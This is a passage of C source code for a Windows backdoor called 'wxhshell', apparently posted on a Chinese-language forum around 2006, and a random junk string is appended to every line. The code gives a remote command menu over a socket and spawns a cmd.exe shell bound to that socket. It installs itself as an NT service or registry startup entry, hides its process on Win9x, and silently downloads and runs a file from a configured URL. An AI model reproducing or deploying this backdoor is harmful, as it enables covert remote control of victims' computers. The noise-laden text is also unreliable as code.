  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N4yQ,tG>aa  
  } m aQDD*  
  else { xJ\sm8  
CF_2ez1u0y  
    switch(cmd[0]) { rUB67ok*  
  l@<Jp *|  
  // 帮助 ;,KT+!H$  
  case '?': { 4kNSF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^!(tc=sr  
    break; Q;z'"P   
  } ,I f9w$(z  
  // 安装 W\ARCcTQ  
  case 'i': { (H|^Ow5  
    if(Install()) eg"!.ol  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<iiA:&J  
    else gyMy;}a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i~DLo3  
    break; Ao9=TC'v$'  
    } Zqg AgN@  
  // 卸载 bwjLMWEVq  
  case 'r': { t/x]vCP,2D  
    if(Uninstall()) Zq/=uB7Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :7qJ[k{g  
    else >6zWOYd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,f~8:LHq  
    break; i[e-dT:*R  
    } 6,p;8I  
  // 显示 wxhshell 所在路径 b:*( f#"q  
  case 'p': { "? 5@j/ e`  
    char svExeFile[MAX_PATH]; -A"0mS8L  
    strcpy(svExeFile,"\n\r"); g3'yqIjQL  
      strcat(svExeFile,ExeFile); > lK:~~1  
        send(wsh,svExeFile,strlen(svExeFile),0); GtqA@&5&  
    break; c#[d7t8ONe  
    } a&n}pnEn)  
  // 重启 !xC IvKW  
  case 'b': { c=:A/z{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PtKrks|y  
    if(Boot(REBOOT)) 4':U rJ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EhIa31>X  
    else { WWIQ6EJO  
    closesocket(wsh); .Dyxul  
    ExitThread(0); *ur[u*g  
    } Zdu8axK:  
    break; `hl1R3nBM  
    } R8u9tTW  
  // 关机 J35[GZ';D  
  case 'd': { ;MKfssG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YksJ$yH^  
    if(Boot(SHUTDOWN)) >56;M7b(K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5AAPtZ\lH  
    else { [iG4qI  
    closesocket(wsh); URxy*)  
    ExitThread(0); Z7?- c  
    } Si[xyG6=  
    break; &G!2T!xx  
    } ].*I Z  
  // 获取shell 9Or  
  case 's': { l:"zYcp%  
    CmdShell(wsh); 5sF?0P;ln  
    closesocket(wsh); x4S0C[k  
    ExitThread(0); l`<u\],  
    break; 0o&c8?@j  
  } - z"D_5  
  // 退出 l*4_  
  case 'x': { vM /D7YS:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/#321Z  
    CloseIt(wsh); ^sZ,(sc{G  
    break; ]`n6H[6O  
    } R`emI7|  
  // 离开 DWar3+u&0  
  case 'q': { f5|Ew&1EP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1ml{oqNj  
    closesocket(wsh); bp(X\:zAy  
    WSACleanup(); "+ 8Y{T  
    exit(1); 7TGLt z  
    break; ^U@E rc#d  
        } ;1woTAuD  
  } wWUt44:0O  
  } P}C;%KzA  
`Ot;KDz  
  // 提示信息 ]^@!ID$c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yBxWBW*e  
} 3SWO_  
  } [n;GP@A ]R  
|R$/oq  
  return; .UJjB}4$f  
}  Wfyap)y  
#1` lJ  
// shell模块句柄 ob;$yn7ZO1  
int CmdShell(SOCKET sock) 6(.]TEu0  
{ OBmmOswg~  
STARTUPINFO si; H$n{|YO `  
ZeroMemory(&si,sizeof(si)); h4dT N}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WscNjWQ^TD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 75t5:>"[  
PROCESS_INFORMATION ProcessInfo; 9zK5Y+!  
char cmdline[]="cmd"; SPK% ' s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W"L;8u  
  return 0; ,~,{$\p   
} (#;<iu}  
$j!VJGVG  
// 自身启动模式 N=P+b%%:Z  
int StartFromService(void) F`\7&'I  
{ ZI'Mr:z4  
typedef struct A#B6]j)  
{ ~kAen  
  DWORD ExitStatus; \a6knd  
  DWORD PebBaseAddress; {Deg1V!x>  
  DWORD AffinityMask; .V:H~  
  DWORD BasePriority; $x %VUms  
  ULONG UniqueProcessId; XQ]5W(EP  
  ULONG InheritedFromUniqueProcessId; LxC"j1wfl  
}   PROCESS_BASIC_INFORMATION; !F&Ss|(}  
r% ]^(  
PROCNTQSIP NtQueryInformationProcess; 6~j.S "  
27!9LU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #=B~} _  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w$5#jJX\  
3d|n\!1r  
  HANDLE             hProcess; :. ja~Q  
  PROCESS_BASIC_INFORMATION pbi; w;p!~o &  
?YO$NYwE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zg=F;^oZ<  
  if(NULL == hInst ) return 0; 4uG:*0{Yx  
Nn;p1n dN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WhHnF*I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z rV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zT5@wm  
iB,Nqs3 i*  
  if (!NtQueryInformationProcess) return 0; u.s-/ g  
9e|]H+y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^"!j m  
  if(!hProcess) return 0; ]M;aVw<!  
tzeS D C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .(8sa8{N  
V:w=h>z8  
  CloseHandle(hProcess); Iv5 agh%  
hh!^^emo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C4jq T  
if(hProcess==NULL) return 0; aI6fPQe  
['SZe0  
HMODULE hMod; okO^ /"  
char procName[255]; k*8 ld-O  
unsigned long cbNeeded; HjO-6F#s  
u~9gR@e2{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S>oQm  
FM3DJ?\L-  
  CloseHandle(hProcess); n"1LVJN7  
jHxg(]  
if(strstr(procName,"services")) return 1; // 以服务启动  {u}Lhv  
K 9X0/  
  return 0; // 注册表启动 V@xlm h,  
} fQ^45ulz  
8W|qm;J98  
// 主模块 |\OG9{q  
int StartWxhshell(LPSTR lpCmdLine) Zw[A1!T,  
{ prC1<rm  
  SOCKET wsl; }!-K)j.  
BOOL val=TRUE; *@|EaH/  
  int port=0; :Sx!jx>W  
  struct sockaddr_in door; )PU?`yLTr  
av&4:O!  
  if(wscfg.ws_autoins) Install(); K 0i[D"  
D4x~Vk%H  
port=atoi(lpCmdLine); wh\J)pA1  
$~V,.RD  
if(port<=0) port=wscfg.ws_port; 'ju{j`b  
0!c^pOq6  
  WSADATA data; qe!\ oh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B!=JRf T  
u*ZRU 4 U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fBptjt_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TqM(I[J7\  
  door.sin_family = AF_INET; etEm#3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =?} t7}#  
  door.sin_port = htons(port); :n:Gr?  
<MlRy%3Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |d* K'+  
closesocket(wsl); 'L w4jq  
return 1; z@nJ-*'U8  
} pm-SDp>s  
tkFGGc}w\  
  if(listen(wsl,2) == INVALID_SOCKET) { do2~LmeW  
closesocket(wsl); N|v3a>;*l  
return 1; n_Ht{2I  
} 2[W1EQI  
  Wxhshell(wsl); 5y. n  
  WSACleanup(); Ri@`sc{n  
ZX0ZN2 ]  
return 0; Xi]WDH \  
Mb6 #97  
} yB&+2  
btC 0w^5  
// 以NT服务方式启动 f((pRP   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(PC#H%  
{ = dyApR:'  
DWORD   status = 0; Cz2OGM*mz?  
  DWORD   specificError = 0xfffffff; *uAsKU  
wL'tGAv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y!VYD_'P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O'~c;vBI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J Cu3,O!q  
  serviceStatus.dwWin32ExitCode     = 0; zW`$T 88~  
  serviceStatus.dwServiceSpecificExitCode = 0; YEZd8Y  
  serviceStatus.dwCheckPoint       = 0; Zc"Vf]:  
  serviceStatus.dwWaitHint       = 0; *TpzX y  
P< +5So0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KWVEAHIn  
  if (hServiceStatusHandle==0) return; un4q,Ac~0  
fI2/v<[  
status = GetLastError(); 0W|}5(C  
  if (status!=NO_ERROR) a}Db9=  
{ bqwQi>^Cw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -S]yXZ  
    serviceStatus.dwCheckPoint       = 0; A4,tv#z  
    serviceStatus.dwWaitHint       = 0; 8*nl Wl9qo  
    serviceStatus.dwWin32ExitCode     = status; /YbyMj*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ESk<*-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lF]cUp#<  
    return; U2*g9Es  
  } 78v4c Q Y  
LFsrqdzJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U!E   
  serviceStatus.dwCheckPoint       = 0; SMr ]Gf.  
  serviceStatus.dwWaitHint       = 0; B/S~Jn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -9XB.)\#  
} VtX9}<Ch~  
#On EQ:  
// 处理NT服务事件,比如:启动、停止 lP>}9^7I!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `mro2A  
{ 8Z TN  
switch(fdwControl) 5cbtMNP  
{ $EjM )  
case SERVICE_CONTROL_STOP: 4J=6A4O5Z  
  serviceStatus.dwWin32ExitCode = 0; 3:Aw.-,i\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pA(B~9WQ  
  serviceStatus.dwCheckPoint   = 0; ~429sT(   
  serviceStatus.dwWaitHint     = 0; <#U9ih 2  
  { Y<U"}}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ew(CfW2  
  } ~{,U%B  
  return; |wASeZMO2  
case SERVICE_CONTROL_PAUSE: j rX .e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \ltA&}!  
  break; [|ghq  
case SERVICE_CONTROL_CONTINUE: X<\y%2B|l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bI)ItC_wf!  
  break; Wq_#46P-  
case SERVICE_CONTROL_INTERROGATE: S^,1N 4  
  break; Tu Q@b  
}; N=J$+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xjHOrr OQ  
} ~7$E\w6  
SST1vzm!  
// 标准应用程序主函数 *Mf;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oVPtA@  
{ <eU28M?\  
FNpMu3Q  
// 获取操作系统版本 GE`:bC3  
OsIsNt=GetOsVer(); ,f`435R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k r0PL)$  
#hEN4c[Ex  
  // 从命令行安装 W+ tI(JZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); vkdU6CZO  
G1 ?."  
  // 下载执行文件 +8e~jf3E1  
if(wscfg.ws_downexe) { | ,bCYK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) __p\`3(,'  
  WinExec(wscfg.ws_filenam,SW_HIDE); i)nb^  
} 3,~M`~B  
Si,[7um  
if(!OsIsNt) { N zY}-:{  
// 如果时win9x,隐藏进程并且设置为注册表启动 G[4TT#  
HideProc(); S Rs~p  
StartWxhshell(lpCmdLine); X {,OP/  
} % AqUVt9}  
else @5n!t1(  
  if(StartFromService()) Kq}/`P  
  // 以服务方式启动 %G6ml,  
  StartServiceCtrlDispatcher(DispatchTable); %Z@+K_X9x  
else S<"M5e  
  // 普通方式启动 *I;,|Jjk  
  StartWxhshell(lpCmdLine); 6Z~u2&  
Txkmt$h  
return 0; SFrQPdX6V  
}
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只看该作者 1 发表于: 2006-10-10
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